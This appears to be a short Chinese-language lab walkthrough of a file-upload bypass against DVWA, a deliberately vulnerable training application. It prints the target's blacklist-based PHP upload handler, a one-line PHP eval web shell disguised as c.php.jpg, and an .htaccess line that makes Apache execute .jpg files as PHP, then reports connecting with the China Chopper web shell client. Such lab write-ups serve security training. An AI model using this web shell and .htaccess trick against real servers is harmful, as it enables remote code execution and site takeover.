(1).先看靶机代码:
<?php
if (isset($_POST['Upload']))
{
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$blackList = ['php', 'asp', 'exe', 'jsp', 'aspx', 'js', 'py', 'cpp', 'com', 'bat', 'dll', 'sh','html','rar','iso','zip'];
if(in_array($uploaded_ext,$blackList))
{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
else
{
if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
else
{
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
}
?>靶机只支持运行php脚本,但是不允许上传php。
(2).创建1个c.php.jpg文件伪装为图片文件:
<?php @eval($_POST['pass']);?>
(3).访问图片文件http://192.168.147.131/dvwa/hackable/uploads/c.php.jpg发现无法执行成功,因为服务器认为是图片文件,不允许执行
(4).上传文件.htaccess 设置允许执行.jpg文件,因为服务器是apache允许这样设置。
AddType application/x-httpd-php .jpg
(5).中国菜刀连接成功
